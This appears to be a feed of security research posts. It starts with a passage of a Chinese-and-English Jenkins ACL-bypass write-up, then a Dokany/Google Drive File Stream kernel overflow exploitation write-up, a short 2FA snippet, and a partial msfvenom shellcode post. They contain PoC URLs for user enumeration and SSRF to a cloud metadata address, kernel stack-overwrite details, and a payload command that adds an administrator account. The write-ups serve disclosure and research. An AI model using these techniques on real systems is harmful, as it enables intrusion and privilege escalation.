針對這個漏洞, 我的觀點是它就是一個存取控制清單(ACL)上的繞過, 但由於這是 Jenkins 架構上的問題並不是單一的程式編寫失誤, 進而導致了這個漏洞利用上的多樣性! 而為了這個技術債, Jenkins 官方也花費了一番心力(Jenkins PatchStapler Patch)去修復這個漏洞, 不但在原有的架構上介紹了新的路由黑名單及白名單, 也擴展了原有架構的 Service Provider Interface (SPI) 去保護 Jenkins 路由, 下面就來解釋為何 Jenkins 要花了那麼多心力去修復這個漏洞!


代碼審查範圍


首先要聲明的是, 這並不是一次完整的代碼審查(畢竟要做一次太花時間了…), 因此只針對高風險漏洞進行挖掘, 著眼的範圍包括:

  • Jenkins 核心
  • Stapler 網頁框架
  • 建議安裝插件

Jenkins 在安裝過程中會詢問是否安裝建議的套件(像是 Git, GitHub, SVN 與 Pipeline… 等等), 基本上大多數人都會同意不然就只會得到一個半殘的 Jenkins 很不方便XD


Jenkins 中的權限機制


因為這是一個基於 ACL 上的繞過, 所以在解釋漏洞之前, 先來介紹一下 Jenkins 中的權限機制! 在 Jenkins 中有數種不同的角色權限, 甚至有專門的 Matrix Authorization Strategy Plugin (同為建議安裝套件)可針對各專案進行細部的權限設定, 從攻擊者的角度我們粗略分成三種:

1. Full Access

對於 Jenkins 有完整的控制權, 可對 Jenkins 做任何事! 基本上有這個權限即可透過 Script Console 介面使用 Groovy 執行任意代碼!

print "uname -a".execute().text

這個權限對於駭客來說也是最渴望得到的權限, 但基本上由於安全意識的提升及網路上各種殭屍網路對全網進行掃描, 這種配置已經很少見(或只見於內網)

2. Read-only Mode

可從 Configure Global Security 介面中勾選下面選項來開啟這個模式

Allow anonymous read access

在這個模式下, 所有的內容皆是可讀的, 例如可看到工作日誌或是一些 job/node 等敏感資訊, 對於攻擊者來說在這個模式下最大的好處就是可以獲得大量的原始碼! 但與 Full Access 模式最大的差異則是無法進行更進一步的操作或是執行 Groovy 代碼以取得控制權!

雖然這不是 Jenkins 的預設設定, 但對於一些習慣自動化的 DevOps 來說還是有可能開啟這個選項, 根據實際在 Shodan 上的調查約 12% 的機器還是開啟這個選項! 以下使用 ANONYMOUS_READ=True 來代稱這個模式

3. Authenticated Mode

這是 Jenkins 預設安裝好的設定, 在沒有一組有效的帳號密碼狀況下無法看到任何資訊及進行任何操作! 以下使用 ANONYMOUS_READ=False 來代稱此模式


漏洞分析


整個漏洞要從 Jenkins 的 動態路由 講起, 為了給開發者更大的彈性, Jenkins(嚴格來講是 Stapler)使用了一套 Naming Convention 去匹配路由及動態的執行! 首先 Jenkins 以 / 為分隔將 URL 符號化, 接著由 jenkins.model.Jenkins 為入口點開始往下搜尋, 如果符號符合 (1) Public 屬性的成員或是 (2) Public 屬性的方法符合下列命名規則, 則調用並繼續往下呼叫:

  1. get<token>()
  2. get<token>(String)
  3. get<token>(Int)
  4. get<token>(Long)
  5. get<token>(StaplerRequest)
  6. getDynamic(String, …)
  7. doDynamic(…)
  8. do<token>(…)
  9. js<token>(…)
  10. Class method with @WebMethod annotation
  11. Class method with @JavaScriptMethod annotation

看起來 Jenkins 給予開發者很大程度的自由去訪問各個物件, 但過於自由總是不好的,根據這種調用方式這裡就出現了兩個問題!

1. 萬物皆繼承 java.lang.Object

在 Java 中, 所有的物件皆繼承 java.lang.Object 這個類別, 因此所有在 Java 中的物件皆存在著 getClass() 這個方法! 而恰巧這個方法又符合命名規則 #1, 因此 getClass() 可在 Jenkins 調用鏈中被動態呼叫!

2. 跨物件操作導致白名單繞過

前面所提到的 ANONYMOUS_READ, 其中 TrueFalse 間最大的不同在於當在禁止的狀況下, 最初的入口點會透過 jenkins.model.Jenkins#getTarget() 多做一個基於白名單的 URL 前綴檢查, 這個白名單如下:

private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);

這也代表著一開始可選的入口限制更嚴格選擇更少, 但如果能在一個白名單上的入口找到其他物件參考, 跳到非白名單上的成員豈不可以繞過前述的 URL 前綴限制? 可能有點難理解, 這裡先來一個簡單的範例來解釋 Jenkins 的動態路由機制:

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

以上網址會依序執行下列方法

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

上面的執行鏈一個串一個雖然看起來很流暢, 但難過的是無法取得回傳內容, 因此嚴格來說不能算是一個風險, 但這個例子對於理解整個漏洞核心卻有很大的幫助!

在了解原理後, 剩下的事就像是在解一個迷宮, 從 jenkins.model.Jenkins 這個入口點開始, 物件中的每個成員又可以參考到一個新的物件, 接著要做的就是想辦法把中間錯綜複雜各種物件與物件間的關聯找出來, 一層一層的串下去直到迷宮出口 - 也就是危險的函數呼叫!

值得一提的是, 這個漏洞最可惜的地方應該是無法針對 SETTER 進行操作, 不然的話應該就又是另外一個有趣的 Struts2 RCE 或是 Spring Framework RCE 了!


如何利用


所以該如何利用這個漏洞呢? 簡單說, 這個漏洞所能做到的事情就只是透過物件間的參考去繞過 ACL 政策, 但在此之前我們必須先找到一個好的跳板好讓我們可以更方便的在物件中跳來跳去, 這裡我們選用了下面這個跳板:

/securityRealm/user/[username]/descriptorByName/[descriptor_name]/

這個跳板會依序執行下面方法

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

在 Jenkins 中可以被操作的物件都會繼承一個 hudson.model.Descriptor 類別, 而繼承這個類別的物件都可以透過 hudson.model.DescriptorByNameOwner#getDescriptorByName(String) 去存取, 所以總體來說, 可透過這個跳板取得在 Jenkins 中約 500 個 Despicable 的物件類別!

不過雖是如此, 由於 Jenkins 的設計模式, 大部分開發者在危險動作之前都會再做一次權限檢查, 所以即使可呼叫到 Script Console 但在沒有 Jenkins.RUN_SCRIPTS 權限的情況下也無法做任何事 :(

但這個漏洞依然不失成為一個很好的膠水去繞過第一層的 ACL 限制串起其他的漏洞, 為後續的利用開啟了一道窗! 以下我們給出三個串出漏洞鏈的例子! (雖然只介紹三種, 但由於這個漏洞玩法非常自由可串的絕不只如此, 推薦有興趣的同學可在尋找更多的漏洞鏈!)

P.S. 值得注意的一點是, 在 getUser([username]) 的實現中會呼叫到 getOrCreateById(...) 並且傳入 create=True 導致在記憶體中創造出一個暫存使用者(會出現在使用者列表但無法進行登入操作), 雖然無用不過也被當成一個漏洞記錄在 SECURITY-1128


1. 免登入的使用者資訊洩漏

在測試 Jenkins 時, 最怕的就是要進行字典檔攻擊時卻不知道該攻擊哪個帳號, 畢竟帳號永遠比密碼難猜! 這時這個漏洞就很好用了XD

由於 Jenkins 對搜尋的功能並沒有加上適當的權限檢查, 因此在 ANONYMOUS_READ=False 的狀況下可以透過修改 keyword 參數從 a 到 z 去列舉出所有使用者!

PoC:

http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]

除此之外也可搭配由 Ananthapadmanabhan S R 所回報的 SECURITY-514 進一步取得使用者信箱, 如:

http://jenkins.local/securityRealm/user/admin/api/xml


2. 與 CVE-2018-1000600 搭配成免登入且有完整回顯的 SSRF

下一個要串的漏洞則是 CVE-2018-1000600, 這是一個由 Orange Tsai(對就是我XD) 所回報的漏洞, 關於這個漏洞官方的描述是:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials

在已知 Credentials ID 的情形下可以洩漏任意 Jenkins 儲存的帳密, 但 Credentials ID 在沒指定的情況下會是一組隨機的 UUID 所以造成要利用這個漏洞似乎變得不太可能 (如果有人知道怎麼取得 Credentials ID 請告訴我!)

雖然在不知道 Credentials ID 的情況下無法洩漏任何帳密, 但這個漏洞其實不只這樣, 還有另一個玩法! 關於這個漏洞最大的危害其實不是 CSRF, 而是 SSRF!

不僅如此, 這個 SSRF 還是一個有回顯的 SSRF! 沒有回顯的 SSRF 要利用起來有多困難我想大家都知道 :P 因此一個有回顯的 SSRF 也就顯得何其珍貴!

PoC:

http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai


3. 未認證的遠端代碼執行

所以廢話少說, RCE 在哪?

為了最大程度的去利用這個漏洞, 我也挖了一個非常有趣的 RCE 可以與這個漏洞搭配使用成為一個真正意義上不用認證的 RCE! 但由於這個漏洞目前還在 Responsible Disclosure 的時程內, 就請先期待 Hacking Jenkins Part 2 囉! (預計二月中釋出!)


TODO


這裡是一些我想繼續研究的方向, 可以讓這個漏洞變得更完美! 如果你發現了下面任何一個的解法請務必告訴我, 我會很感激的XD

  • ANONYMOUS_READ=False 的權限下拿到 Plugin 的物件參考, 如果拿到的可以繞過 CVE-2018-1999002CVE-2018-6356 所需的最小權限限制, 成為一個真正意義上的免登入任意讀檔!
  • ANONYMOUS_READ=False 的權限下找出另一組跳板去呼叫 getDescriptorByName(String). 為了修復 SECURITY-672, Jenkins 從 2.138 開始對 hudson.model.User 增加判斷 Jenkins.READ檢查, 導致原有的跳板失效!


致謝


最後, 感謝 Jenkins Security 團隊尤其是 Daniel Beck 的溝通協調與漏洞修復! 這裡是一個簡單的回報時間軸:

  • May 30, 2018 - 回報漏洞給 Jenkins
  • Jun 15, 2018 - Jenkins 修補並分配 CVE-2018-1000600
  • Jul 18, 2018 - Jenkins 修補並分配 CVE-2018-1999002
  • Aug 15, 2018 - Jenkins 修復並分配 CVE-2018-1999046
  • Dec 05, 2018 - Jenkins 修補並分配 CVE-2018-1000861
  • Dec 20, 2018 - 回報 Groovy 漏洞給 Jenkins
  • Jan 08, 2019 - Jenkins 修復 Groovy 漏洞並分配 CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002

Hacking Jenkins Part 1 - Play with Dynamic Routing (EN)

15 January 2019 at 16:00

English Version 中文版本

In software engineering, the Continuous Integration and Continuous Delivery is a best practice for developers to reduce routine works. In the CI/CD, the most well-known tool is Jenkins. Due to its ease of use, awesome Pipeline system and integration of Container, Jenkins is also the most widely used CI/CD application in the world. According to the JVM Ecosystem Report by Snyk in 2018, Jenkins held about 60% market share on the survey of CI/CD server.

For Red Teamers, Jenkins is also the battlefield that every hacker would like to control. If someone takes control of the Jenkins server, he can gain amounts of source code and credential, or even control the Jenkins node! In our DEVCORE Red Team cases, there are also several cases that the whole corporation is compromised from simply a Jenkins server as our entry point!

This article is mainly about a brief security review on Jenkins in the last year. During this review, we found 5 vulnerabilities including:

Among them, the more discussed one is the vulnerability CVE-2018-1999002. This is an arbitrary file read vulnerability through an unusual attack vector! Tencent YunDing security lab has written a detailed advisory about that, and also demonstrated how to exploit this vulnerability from arbitrary file reading to RCE on a real Jenkins site which found from Shodan!

However, we are not going to discuss that in this article. Instead, this post is about another vulnerability found while digging into Stapler framework in order to find a way to bypass the least privilege requirement ANONYMOUS_READ=True of CVE-2018-1999002! If you merely take a look at the advisory description, you may be curious – Is it reality to gain code execution with just a crafted URL?

From my own perspective, this vulnerability is just an Access Control List(ACL) bypass, but because this is a problem of the architecture rather than a single program, there are various ways to exploit this bug! In order to pay off the design debt, Jenkins team also takes lots of efforts (patches in Jenkins side and Stapler side) to fix that. The patch not only introduces a new routing blacklist and whitelist but also extends the original Service Provider Interface (SPI) to protect Jenkins’ routing. Now let’s figure out why Jenkins need to make such a huge code modification!


Review Scope


This is not a complete code review (An overall security review takes lots of time…), so this review just aims at high impact bugs. The review scope includes:

  • Jenkins Core
  • Stapler Web Framework
  • Suggested Plugins

During the installation, Jenkins asks whether you want to install suggested plugins such as Git, GitHub, SVN and Pipeline. Basically, most people choose yes, or they will get an inconvenient and hard-to-use Jenkins.


Privilege Levels


Because the vulnerability is an ACL bypass, we need to introduce the privilege level in Jenkins first! In Jenkins, there are different kinds of ACL roles, Jenkins even has a specialized plugin Matrix Authorization Strategy Plugin(also in the suggested plugin list) to configure the detailed permission per project. From an attacker’s view, we roughly classify the ACL into 3 types:

1. Full Access

You can fully control Jenkins. Once the attacker gets this permission, he can execute arbitrary Groovy code via Script Console!

print "uname -a".execute().text

This is the most hacker-friendly scenario, but it’s hard to see this configuration publicly now due to the increase of security awareness and lots of bots scanning all the IPv4.

2. Read-only Mode

This can be enabled from the Configure Global Security and check the radio box:

Allow anonymous read access

Under this mode, all contents are visible and readable. Such as agent logs and job/node information. For attackers, the best benefit of this mode is the accessibility of a bunch of private source codes! However, the attacker cannot do anything further or execute Groovy scripts!

Although this is not the default setting, for DevOps, they may still open this option for automations. According to a little survey on Shodan, there are about 12% servers enabled this mode! We will call this mode ANONYMOUS_READ=True in the following sections.

3. Authenticated Mode

This is the default mode. Without a valid credential, you can’t see any information! We will use ANONYMOUS_READ=False to call this mode in following sections.


Vulnerability Analysis

To explain this vulnerability, we will start with Jenkins’ Dynamic Routing. In order to provide developers more flexibilities, Jenkins uses a naming convention to resolve the URL and invoke the method dynamically. Jenkins first tokenizes all the URL by /, and begins from jenkins.model.Jenkins as the entry point to match the token one by one. If the token matches (1)public class member or (2)public class method correspond to following naming conventions, Jenkins invokes recursively!

  1. get<token>()
  2. get<token>(String)
  3. get<token>(Int)
  4. get<token>(Long)
  5. get<token>(StaplerRequest)
  6. getDynamic(String, …)
  7. doDynamic(…)
  8. do<token>(…)
  9. js<token>(…)
  10. Class method with @WebMethod annotation
  11. Class method with @JavaScriptMethod annotation

It looks like Jenkins provides developers a lot of flexibility. However, too much freedom is not always a good thing. There are two problems based on this naming convention!

1. Everything is the Subclass of java.lang.Object

In Java, everything is a subclass of java.lang.Object. Therefore, all objects must exist the method - getClass(), and the name of getClass() just matches the naming convention rule #1! So the method getClass() can be also invoked during Jenkins dynamic routing!

2. Whitelist Bypass

As mentioned before, the biggest difference between ANONYMOUS_READ=True and ANONYMOUS_READ=False is, if the flag set to False, the entry point will do one more check in jenkins.model.Jenkins#getTarget(). The check is a white-list based URL prefix check and here is the list:

private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);

That means you are restricted to those entrances, but if you can find a cross reference from the white-list entrance jump to other objects, you can still bypass this URL prefix check! It seems a little bit hard to understand. Let’s give a simple example to demonstrate the dynamic routing:

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

The above URL will invoke following methods in sequence!

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

This execution chain seems smooth, but sadly, it can not retrieve the result. Therefore, this is not a potential risk, but it’s still a good case to understand the mechanism!

Once we realize the principle, the remaining part is like solving a maze. jenkins.model.Jenkins is the entry point. Every member in this object can references to a new object, so our work is to chain the object layer by layer till the exit door, that is, the dangerous method invocation!

By the way, the saddest thing is that this vulnerability cannot invoke the SETTER, otherwise this would definitely be another interesting classLoader manipulation bug just like Struts2 RCE and Spring Framework RCE!!


How to Exploit?


How to exploit? In brief, the whole thing this bug can achieve is to use cross reference objects to bypass ACL policy. To leverage it, we need to find a proper gadget so that we can invoke the object we prefer in this object-forest more conveniently! Here we choose the gadget:

/securityRealm/user/[username]/descriptorByName/[descriptor_name]/

The gadget will invoke following methods sequencely.

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

In Jenkins, all configurable objects will extend the type hudson.model.Descriptor. And, any class who extends the Descriptor type is accessible by method hudson.model.DescriptorByNameOwner#getDescriptorByName(String). In general, there are totally about 500 class types can be accessed! But due to the architecture of Jenkins. Most developers will check the permission before the dangerous action again. So even we can find a object reference to the Script Console, without the permission Jenkins.RUN_SCRIPTS, we still can’t do anything :(

Even so, this vulnerability can still be considered as a stepping stone to bypass the first ACL restriction and to chain other bugs. We will show 3 vulnerability-chains as our case study! (Although we just show 3 cases, there are more than 3! If you are intersted, it’s highly recommended to find others by yourself :P )

P.S. It should be noted that in the method getUser([username]), it will invoke getOrCreateById(...) with create flag set to True. This result to the creation of a temporary user in memory(which will be listed in the user list but can’t sign in). Although it’s harmless, it is still recognized as a security issue in SECURITY-1128.


1. Pre-auth User Information Leakage

While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).

In this situation, this vulnerability is useful! Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins!

PoC:

http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]

Also, this vulnerability can be also chained with SECURITY-514 which reported by Ananthapadmanabhan S R to leak user’s email address! Such as:

http://jenkins.local/securityRealm/user/admin/api/xml


2. Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF

The next bug is CVE-2018-1000600, this bug is reported by Orange Tsai(Yes, it’s me :P). About this vulnerability, the official description is:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials

It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)

Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!

PoC:

http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai


3. Pre-auth Remote Code Execution

PLEASE DON’T BULLSHIT, WHERE IS THE RCE!!!

In order to maximize the impact, I also find an INTERESTING remote code execution can be chained with this vulnerability to a well-deserved pre-auth RCE! But it’s still on the responsible disclosure process. Please wait and see the Part 2! (Will be published on February 19th :P)


TODO


Here is my todo list which can make this vulnerability more perfect. If you find any of them please tell me, really appreciate it :P

  • Get the Plugin object reference under ANONYMOUS_READ=False. If this can be done, it can bypass the ACL restriction of CVE-2018-1999002 and CVE-2018-6356 to a indeed pre-auth arbitrary file reading!
  • Find another gadget to invoke the method getDescriptorByName(String) under ANONYMOUS_READ=False. In order to fix SECURITY-672, Jenkins applies a check on hudson.model.User to ensure the least privilege Jenkins.READ. So the original gadget will fail after Jenkins version 2.138.


Acknowledgement


Thanks Jenkins Security team especially Daniel Beck for the coordination and bug fixing! Here is the brief timeline:

  • May 30, 2018 - Report vulnerabilities to Jenkins
  • Jun 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1000600
  • Jul 18, 2018 - Jenkins patched the bug and assigned CVE-2018-1999002
  • Aug 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1999046
  • Dec 05, 2018 - Jenkins patched the bug and assigned CVE-2018-1000861
  • Dec 20, 2018 - Report Groovy vulnerability to Jenkins
  • Jan 08, 2019 - Jenkins patched Groovy vulnerability and assigned CVE-2019-1003000, CVE-2019-1003001 and CVE-2019-1003002

Dokany/Google Drive File Stream Kernel Stack-based Buffer Overflow Vulnerability

By: Parvez
14 January 2019 at 17:07

Last November I reported a kernel vulnerability to CERT/CC for their help in coordinating the disclosure as it impacted dozens of vendors including Google Drive File Stream (GDFS).

The vulnerability was a stack-based buffer overflow in Dokany’s kernel mode file system driver and has been assigned cve id of CVE-2018-5410. With Dokany you can create your own virtual file system without writing device drivers. The code is open source and is being used in dozens of projects listed here. A handful of products were tested and are all shipped with Dokany’s compiled package with the exception of GDFS where parts of the code have been changed and signed by Google.

Triggering the bug
Connecting to the device handle “dokan_1” and sending inputted buffer of more than 776 bytes to IOCTL 0x00222010 is enough to corrupt the stack cookie and BSOD the box.

kd> !analyze -v
***************************************************************************
*                                                                         *
*                        Bugcheck Analysis                                *
*                                                                         *
***************************************************************************
DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments:
Arg1: c0693bbe, Actual security check cookie from the stack
Arg2: 1c10640d, Expected security check cookie
Arg3: e3ef9bf2, Complement of the expected security check cookie
Arg4: 00000000, zero

Debugging Details:
------------------
DEFAULT_BUCKET_ID:  GS_FALSE_POSITIVE_MISSING_GSFRAME
SECURITY_COOKIE:  Expected 1c10640d found c0693bbe
.
.
.

Checking the source code to pinpoint vulnerable code was found to be in notification.c where RtlCopyMemory function’s szMountPoint->Length parameter is not validated

RtlCopyMemory(&dokanControl.MountPoint[12], szMountPoint->Buffer, szMountPoint->Length);

The vulnerable code was introduced from the major version update 1.0.0.5000 which was released on the 20th September 2016.

TimeLine
Below is the timeline where we can see the maintainers of Dokany were very efficient in fixing this bug.

30th November 2018 – Submitted on CERT/CC online form
03rd December 2018 – Received acknowledgement of submission
08th December 2018 – Updated Dokan code committed [link]
18th December 2018 – Dokan change log [1.2.1.1000] [link]
20th December 2018 – Compiled version released [link]
20th December 2018 – CERT/CC publish Vulnerability Note VU#741315 [link]

So what happened to Google?
Well it would seem Google have kept quiet about this bug and silently fixed it without any publication. The only url I found on GDFS release notes is here where the last update was on the 17th October 2018 on version 28.1. It was just out of curiosity I had downloaded GDFS on the 28th of December only to discover the vulnerability had already been patched. The patched versions are:

Software : GoogleDriveFSSetup.exe
Version  : 29.1.34.1821
Signed   : 17th December 2018

Driver   : googledrivefs2622.sys
Version  : 2.622.2225.0
Signed   : 14th December 2018

The last vulnerable version I tested was:

Software : GoogleDriveFSSetup.exe
Version  : 28.1.48.2039
Signed   : 13th November 2018

Driver   : googledrivefs2544.sys
Version  : 2.544.1532.0
Signed   : 27th September 2018

CERT/CC vulnerability notes is still flagged as being affected

GDFS driver filename, version and handle change in each update. Here is a list of some previous vulnerable versions.

Driver filename Driver version Device handle
googledrivefs2285.sys 2.285.2219.0 googledrivefs_2285
googledrivefs2454.sys 2.454.2037.0 googledrivefs_2454
googledrivefs2534.sys 2.534.1534.0 googledrivefs_2534
googledrivefs2544.sys 2.544.1532.0 googledrivefs_2544

Exploiting the bug
Since the vulnerability is a stack-based buffer overflow compiled with Stack Cookie protection (/GS) which is validated before our function is returned controlling the flow of execution using the return address is not possible. To bypass cookie validation we need to overwrite an exception handler in the stack and then trigger an exception in the kernel there by calling our overwritten exception handler. This technique however only applies to 32-bit systems as when code is compiled for 64-bit the exception handlers are no longer stored on the stack so from “frame based” has become “table-based”. For 64-bit the exception handlers are stored in the PE image where there is an exception directory contains a variable number of RUNTIME_FUNCTION structures. An article posted on OSRline explains it well. Below shows the exception directory in 64-bit compiled driver

In order to exploit on 32-bit OS after the exception handler has been overwritten with our address pointing to our shellcode we need to trigger an exception. Usually reading beyond our inputted buffer would do it as it be unallocated memory after setting up our buffer using apis such as CreateFileMapping() and MapViewOfFile(). Unfortunately this is not possible as the IOCTL used 0x00222010 is using “Buffered I/O” transfer method where the data is allocated into the system buffer so when our inputted data is read its read from the system buffer thus there so no unallocated memory after our buffer.

For Dokany driver there is still a way to exploit as after the overflow and before cookie validation it calls another subroutine which ends up calling api IoGetRequestorSessionId(). One of the parameters it reads from the stack is the IRP address which we happen to control. All we need to do is make sure our IRP address points to an area of unallocated memory.

As for GDFS Google have made some changes to its code so the api IoGetRequestorSessionId() is not called and I couldn’t find any other way to produce an exception so just ends up producing BSOD. The last thing to mention is that the vulnerable subroutine is not wrapped in a __try/__except block but a parent subroutine is and thats the exception handler being overwritten further down the stack. A minimum inputted buffer size of 896 bytes is need in order to overwrite the exception handler.

2   bytes   – Size used by memcpy
2   bytes   – Size used to check input buffer
772 bytes   – Actual data buffer
4   bytes   – Cookie
4   bytes   – EBP
4   bytes   – RET
4   bytes   – Other data
4   bytes   – IRP
96  bytes   – Other data
4   bytes   – Exception handler

Stack layout before and after our overflow

a1caf9f4  00000000
a1caf9f8  fcef3710 <-- cookie
a1caf9fc  a1cafa1c
a1cafa00  902a2b80 dokan1+0x5b80  <-- return
a1cafa04  861f98b0
a1cafa08  871ef510 <-- IRP
a1cafa0c  861f9968
a1cafa10  871ef580
a1cafa14  00000010
a1cafa18  c0000002
a1cafa1c  a1cafa78
a1cafa20  902a2668 dokan1+0x5668
a1cafa24  861f98b0
a1cafa28  871ef510
a1cafa2c  fcef3494
a1cafa30  86cd4738
a1cafa34  861f98b0
a1cafa38  00000000
a1cafa3c  00000000
a1cafa40  00000000
a1cafa44  00000000
a1cafa48  00000000
a1cafa4c  871ef580
a1cafa50  861f9968
a1cafa54  00222010
a1cafa58  c0000002
a1cafa5c  861f9968
a1cafa60  861f98b0
a1cafa64  a1cafa7c
a1cafa68  a1cafacc
a1cafa6c  902b2610 dokan1+0x15610  <-- Exception handler


kd> dps a1caf9f4
a1caf9f4  41414141
a1caf9f8  42424242 <-- cookie
a1caf9fc  41414141
a1cafa00  43434343 <-- return
a1cafa04  41414141
a1cafa08  44444444 <-- IRP
a1cafa0c  41414141
a1cafa10  41414141
a1cafa14  41414141
a1cafa18  41414141
a1cafa1c  41414141
a1cafa20  41414141
a1cafa24  41414141
a1cafa28  41414141
a1cafa2c  41414141
a1cafa30  41414141
a1cafa34  41414141
a1cafa38  41414141
a1cafa3c  41414141
a1cafa40  41414141
a1cafa44  41414141
a1cafa48  41414141
a1cafa4c  41414141
a1cafa50  41414141
a1cafa54  41414141
a1cafa58  41414141
a1cafa5c  41414141
a1cafa60  41414141
a1cafa64  41414141
a1cafa68  41414141
a1cafa6c  000c0000 <-- Exception handler which now points to shellcode

To recover we return to the parent subroutine.

a1cafa70  00000000
a1cafa74  00000000
a1cafa78  a1cafa94
a1cafa7c  902a3d4a dokan1+0x6d4a
a1cafa80  861f98b0
a1cafa84  871ef510 
a1cafa88  0000000e
a1cafa8c  d346f492
a1cafa90  871ef580 <-- before ebp, recover here after shellcode execution
a1cafa94  a1cafadc
a1cafa98  902a3a8f dokan1+0x6a8f
a1cafa9c  861f98b0
a1cafaa0  871ef510
a1cafaa4  fcef3430
a1cafaa8  86cd4738
a1cafaac  861f98b0
a1cafab0  00000000
a1cafab4  871ef510
a1cafab8  00000001
a1cafabc  c0000001
a1cafac0  0101af00
a1cafac4  a1cafaa4
a1cafac8  871ef520
a1cafacc  a1cafbc0
a1cafad0  902b2610 dokan1+0x15610
a1cafad4  cd0e6854
a1cafad8  00000001
a1cafadc  a1cafaf4
a1cafae0  82a8c129 nt!IofCallDriver+0x63
a1cafae4  861f98b0
a1cafae8  871ef510
a1cafaec  871ef510
a1cafaf0  861f98b0

The exploit can be downloaded from here [zip] and the direct link to the vulnerable package used from Github [exe]. The zip file only contains exploit for Windows 7 32 bit OS along with code to trigger BSOD on earlier GDFS 32/64 bit versions.

Note the exploit is not perfect as in once an elevated shell is spawned the parent process takes around 7 minutes before returning to the prompt. Most likely the recovery part of the shellcode needs a bit of work. Also for some strange reason the exploit only works when the debugger is attached and I just couldn’t figure out why. One observation I noticed was that the shellcode buffer becomes unallocated so might be some timing issue. If you have any ideas do please leave a comment.

@ParvezGHH

2FA Instructions for Facebook

By: JW
1 January 2019 at 18:05
Here are instructions for enabling two factor authentication (2FA) on Facebook: Login to Facebook Go to Settings>Security and Login Click Use two-factor authentication Duo If you have Duo setup on your device and would like to use it follow these instructions: Click Authentication App Open Duo, click the plus button and take a picture of...

Altering Msfvenom Exec Payload to Work Without an ExitFunc

18 November 2018 at 00:00

On a few occasions as of late, I’ve wanted to use the windows[/x64]/exec payload from msfvenom, but with the goal of:

  1. Allowing execution to continue afterwards
  2. Executing in a single threaded environment
  3. Executing without an exception handler

Unfortunately, when setting the EXITFUNC option to none, no code is generated to allow execution to continue as normal after the payload has been executed, and ultimately results in an access violation.

The example I’ll be going over in this post is specifically the x64 version of the exec payload, which differs slightly to the x86 version. Most notably, the calling convention is different, the x86 version will see all arguments pushed on to the stack, but the x64 version will put the first few arguments into registers.

To generate the base shellcode I’ll be working with, I ran: msfvenom -p windows/x64/exec CMD='cmd.exe /k "net user /add di.security Disecurity1! && net localgroup administrators di.security /add"' EXITFUNC=none

What Causes the Problem

The exec payload uses the WinExec function to run the command specified in the CMD option.

To push the command text specified in the CMD option on to the stack, it is defined as raw bytes at the end of the payload, preceded by a call instruction:

When call is used, the address of the next instruction is then pushed on to the stack, so the execution flow can return to the correct place later. In the context of shellcoding, the pointer to the next instruction is effectively a pointer to the string that has been defined in place, and avoids the need for N amount of push instructions.

If we were to take the first few bytes that appear after call rbp in the above screenshot and convert them to ASCII, we can see that it is the equivalent of cmd.exe /k:

$ echo -e "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x6b"
cmd.exe /k

Eventually, the execution of the payload will end up being passed to these bytes, which will lead to an error at some point, as the bytes are nonsensical in terms of actual operations.

The Solution

The solution to this issue is quite simple. The ultimate goal will be to add some extra bytes before the command text bytes which will instruct the program to jump past the command text bytes so that normal operations can continue.

As you may be anticipating, doing this will cause an issue in that extra bytes will precede the command text in the call to WinExec. To avoid this becoming an issue, an additional change will need to be made to ensure the pointer used for the lpCmdLine argument is increased by an appropriate number of bytes, so that it points ahead of the new bytes being added.

The change to the command text area can be seen in the screenshot below:

Four new bytes have been added after call rbp, the first two are are for a jmp operation to jump forward past the in place bytes, and the subsequent two bytes are just two NOPs to visually show the separation.

With the new code in place to ensure the command text bytes are never executed, the change to offset the lpCmdLine pointer can be made.

The point at which WinExec is invoked is at the jmp rax operation. At this point, the command being executed will be stored in the rcx register. The code block to look for is:

